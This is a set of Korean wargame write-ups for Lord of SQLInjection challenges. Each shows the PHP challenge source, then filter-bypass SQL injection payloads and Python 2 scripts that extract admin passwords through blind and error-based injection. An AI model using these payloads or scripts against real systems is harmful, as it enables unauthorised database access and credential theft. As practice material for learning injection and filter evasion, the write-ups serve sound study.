반응형
반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>
cs

 

 

 

 

 

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  if(mysqli_error($db)) exit();

 

이전 문제와 다른 점은 필터링이 더 늘었다는 것과, sql 에러가 나면 php가 죽어버리는 점이 있다.

 

 

 

 

 

 

 

일단 이전 문제에서 사용했던 if를 우회해야 한다.

 

https://dorahee.tistory.com/140

 

sql 인젝션 우회 기법

1. or and 구문을 필터링 하고 있을 경우 - url 인코딩 문자인 %로 우회 - and >> %26%26, && - or >> %7C%7C, || 2. 단순 문자열 필터링인 경우 - preg_match - php 필터링 함수인 preg_match를 사용할 때 char,..

dorahee.tistory.com

위 글에서 if 를 대체할 함수로 coalesce함수가 나와있다.

 

 

 

coalesce는 null 값이 아닌 다음 인자를 반환한다.

 

 

1' or id='admin' and coalesce((select 1 where length(pw)=1) or null,(select 1 union select 2))%23

 

이렇게 하면 length(pw)=1 이 true가 되면 첫번째 인자가 null이 아니게 되어 다음 인자인 select 1 union select 2 를 반환하여 오류를 발생시킬 수 있다.

 

 

 

 

 

 

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(pw)=8) or null,(select 1 union select 2))#'

 

pw는 8자리다.

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(substr(pw,1,1))=1) or null,(select 1 union select 2))#'

은 참이다.

 

 

 

코드짜서 돌리자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or id='admin' and coalesce((select 1 where substring(pw,"+str(i+1)+",1)='"+string[j]+"') or null,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if "query" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>
cs

if(mysqli_error($db)) exit(mysqli_error($db));

 

결과는 안알려주는데 에러 발생하면 에러를 내뿜고 종료하는 구문이 있다.

이를 통해 Error Based SQL Injection 임을 알 수 있다.

 

 

 

 

 

 

 

pw=' or if(length(pw)=1,1,(select 1 union select 2))%23

 

으로 보내주면 조건 length(pw)=1 이 참이면 1을 반환하고, 거짓이면 select 1 union select 2를 반환하여 오류를 내뿜게 할 수 있다.

 

 

 

 

 

 

 

 

 

pw=%27%20or%20if(length(pw)=32,1,(select%201%20union%20select%202))%23

 

pw의 길이는 32이다.

 

 

 

 

저번처럼 유니코드일지도 모르니까 한 자리의 길이도 구했다.

pw=%27%20or%20if(length(substr(pw,1,1))=1,1,(select%201%20union%20select%202))%23

 

 

다행이 1이다.

 

 

 

소스 짜서 돌리자.

 

Subquery returns more than 1 row 가 나오지 않는 것을 찾으면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(32):
    for j in range(len(string)):
        payload = "' or if(substring(pw,"+str(i+1)+",1)='"+string[j]+"',1,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if not "Subquery returns more than 1 row" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

DRAGON

 

문제소스

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>
cs

 

 

쿼리에 #이 들어있어서 뒷부분이 주석처리 된다.

 

근데 #은 한 줄만 주석처리한다. 줄바꿈을 한 것은 실행이 될 것으로 생각되었다.

 

 

 

 

줄바꿈 %0a를 넣어주어 쿼리를 완성시켰다.

 

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0aand pw=1 or id='admin 

 

query : select id from prob_dragon where id='guest'# and pw=' and pw=1 or id='admin'


 

Hello admin

DRAGON Clear!

반응형
반응형

 

 

 

문제 소스 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>
cs

 

 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

 

blind sqli 로 pw값을 구해내야 한다.

 

 

 

 

query : select id from prob_xavis where id='admin' and pw='1'or'1'='1' and length(pw) = 12#'

 

 

pw의 길이는 12이다.

 

 

 

 

 

 

blind sqli를 했는데 아래 범위에서 일치하는게 나오지 않았다..

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

 

 

 

 

그래서 범위를 123에서 255로 잡고 코드를 수정하여 다시 돌렸다.

 

 

그래도 안나왔다. 왜 그런가 보니...

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>255#'


 

Hello admin

 

오우.. 255를 넘는다. 

 

500도 넘고 1000도 넘고..

 

 

 

유니코드인거 같아서

유니코드 한글 범위 AC00 - D7AF를 확인해 봤다.

 

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>44032#'


 

Hello admin

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))<55215#'


 

Hello admin

 

 

44032와 55215 사이 범위임을 알 수 있었다.

 

그럼 이제 각 자리마다 11000개 가량을 시도해야한단 소리인데..

 

 

 

 

이진탐색을 이용해서 시도 횟수를 줄여야 할 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "1' or '1'='1' and ord(mid(pw,"+str(i+1)+",1))>"+str(val)+"#"
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,3):
    k = binary_search_recursion(44032,55215, i)
    key+=str(hex(k))
print key
 
cs

 

코드를 쓱싹하고 짰다.

 

유니코드로 바꿔주면(0x -> %u) 한글 3글자가 나오는데 그걸 pw로 넘겨주면 된다.

반응형
반응형

 

 

 

문제소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>
cs

 

 

 

쿼리에서

and id!='admin' -> 그리고 id는 admin이 아니어야 한다.

로 인해서 pw 뒷부분을 주석처리하고 pw 부분을 True로 만들면 될 것 같지만,

 

 

if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"
); 
 

#, -- 주석도 막아버리고 길이도 6까지로 제한되어 있다.

 

주석 처리부분은 ;%00로 할 수 있는 방법이 있다.

 

 

 

 

 

 

 

 

그런데 pw = ('')로 되어있다. pw = ('') = 0 으로 true로 만들어버린뒤 ;%00로 뒷부분을 주석처리하면 된다.

 

 

 

 

 

")=0;%00 그러면 딱 6자리 나온다.

 

 

 

 

 

 

반응형
반응형

문제소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect();
  $_GET['id'= strrev(addslashes($_GET['id']));
  $_GET['pw'= strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>
cs

 

 

 

  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));

 

idpwaddslashes로 아래 문자에 \을 붙여준다. https://www.w3schools.com/php/func_string_addslashes.asp

  • single quote (')
  • double quote (")
  • backslash (\)
  • NULL (%00)

그리고 strrev으로 문자열을 뒤집는다.

 

 

 

 

이전 문제처럼 쿼리에서 id = ' 부터 pw =' 까지를 문자열 취급하게 만들면 될 것 같다.

https://mandu-mandu.tistory.com/315

 

 

 

 

 

id='' and pw=''

두번째 싱글쿼트 앞에 \가 붙게 하여 문자열 취급하도록 해야 한다.

 

 

 

 

id에 \와 '을 제외한 나머지 " 또는 NULL (%00)을 넣어보자

 

" -> \" -> "\

id='"\' and pw = ''

 

\가 뒤로 오면서 '가 문자열 취급되고, " ' 안에 있기 때문에 문자열 취급된다.

 

 

 

 

 

이제 pw=' or 1#' 로 만들어주면 된다. strrev함수로 인해 뒤집어서 입력해주면 된다.

반응형
반응형

SUCCUBUS

 

문제소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
cs

 

싱글쿼트 ' 을 id와 pw에서 모두 필터링 한다.

 

id 값에 \을 입력해주면, $query에서 id='\' and pw='' 가 되는데

\'string 싱글쿼트 ' 로 인식하게 된다.

 

 

 

 

 

pw 에 or 1%23을 입력해주어서 id를 true로 만들어버리자.

 

id = '\' and pw =' or 1#'

반응형
반응형

문제 소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>
cs

 

 

이때까지 sql에서 like을 =을 우회하는 용도로만 사용했지만 사실 다른 기능도 있다. (당연히..)

 

바로 패턴 검색이다.

 

https://makand.tistory.com/entry/SQL-LIKE-%EA%B5%AC%EB%AC%B8 

 

SQL LIKE 구문

이번에 포스팅할 내용은 SQL 구문중 LIKE 입니다. LIKE 연산자는 지정된 패턴을 검색하는데 사용합니다. 예를들어 "나는 지금 블로그에 글을 쓰고 있습니다." 라는 제목으로 글을 저장하고 그 글을 검색할 경우..

makand.tistory.com

 

패턴 검색을 이용해서 %0%을 넣으면 0이 가운데 들어가 있는 모든 값을 불러오게 되는데,

그 결과 hello guest가 출력되었다.

 

 

첫문자% 을 이용해서 pw을 알아내면 된다.

 

코드 짜서 돌리면 된다.

 

 

근데 guest만 나오게 되는데, 이를 봐선 guest의 pw와 admin의 pw의 앞부분이 어느정도 일치하는 걸로 예상할 수 있다.

그래서 이어서 다음 자리까지 찾아나가야 한다.

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        #payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        #payload = "1 || id in (\"admin\") && hex(mid(pw,"+str(i+1)+",1)) > hex("+str(ord(string[j])-1)+") && hex(mid(pw,"+str(i+1)+",1)) < hex("+str(ord(string[j])+1)+")#"
        payload = "여기에 나온 값들을 붙여주면 된다."+string[j]+"%"
        #payload = urllib.quote(payload)
        #payload = payload.replace("%20","%0a")
        url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        elif "Hello guest" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] guest"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i'$_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>
cs

 

if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 

 

shit의 길이가 1보다 크면 죽어버린다.

 

쿼리 값을 보면 from 과 prob_giant사이에 공백이 없는 것을 볼 수 있다. 

select 1234 from prob_giant where 1

 

 

 

 

 

 

공백을 넣는 방법에는

 

%09  (tab \t)

%0a  (linefeed \n)

%0b  (vertical tab)

%0c  (form feed)

%0d  (carriage return \r)

 

가 있는데

아래 구문에 의해서 몇개는 필터링 된다.

 

if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

 

 

 

 

 

\t \n \r이 아닌 %0b나 %0c를 입력해주면 풀린다.

반응형
반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

bugbear

문제소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>
cs

 

pw의 길이를 구하기 위해서 저번에는 no = 1 or id like 0x61646d696e and length(pw) like 8 을 사용했지만,

공백, like, 0x 필터링으로 사용할 수 없게 됐다.

 

 

 

 

 

대신 더 우회를 하면 된다.

 

or, and => ||, &&

 

id = adminid in ("admin") 으로 우회,

length(pw) like 8은 부등호을 이용해서 length(pw) > 7 && length(pw) < 9 로 우회해준다.

 

1 || id in ("admin") && length(pw) > 7 && length(pw) < 9

 

여기서 공백대신 %0a로 공백도 우회해 주면 된다.

 

1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0a>%0a7%0a%26%26%0alength(pw)%0a<%0a9

 

 

 

 

 

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%0a||%0aid%0ain%0a(%22admin%22)%0a%26%26%0alength(pw)%0a%3E%0a7%0a%26%26%0alength(pw)%0a%3C%0a9

패스워드의 길이는 8이다.

 

이제 blind sqli을 위한 코드에서 우회한 문자로 바꿔주는 수정을 해주면 된다.

 

pw를 맞추는 코드는

1 || id in ("admin") && ord(mid(pw,1,1)) > 44 && ord(mid(pw,1,1)) < 46#

와 같은 형태가 된다. 위 조건이 True이면 ord(mid(pw,1,1))은 45가 되는 것이다.

 

 

 

 

 

근데 이걸로 했는데, 안된다.

 

왜 안됐는가 보니, ord()에서 or이 필터링 되고 있었다...

 

다른 함수를 써야하므로, or 때문에 걸러지는 ord()를 버리고 hex()를 새로 영입했다.

 

 

 

 

 

이제

1 || id in ("admin") && hex(mid(pw,1,1)) > hex(44) && hex(mid(pw,1,1)) < hex(46)#

 

이렇게 바꿔주면 된다.

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        #payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        payload = "1 || id in (\"admin\") && hex(mid(pw,"+str(i+1)+",1)) > hex("+str(ord(string[j])-1)+") && hex(mid(pw,"+str(i+1)+",1)) < hex("+str(ord(string[j])+1)+")#"
        payload = urllib.quote(payload)
        payload = payload.replace("%20","%0a")
        url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs

 

공백 우회를 할 때, 16행에 미리 공백대신 %0a를 넣으면, %가 17행에서 %25로 인코딩된다.

 

그래서 17행 이후, 18행에서 공백인 %20을 %0a로 치환해주었다.

반응형

+ Recent posts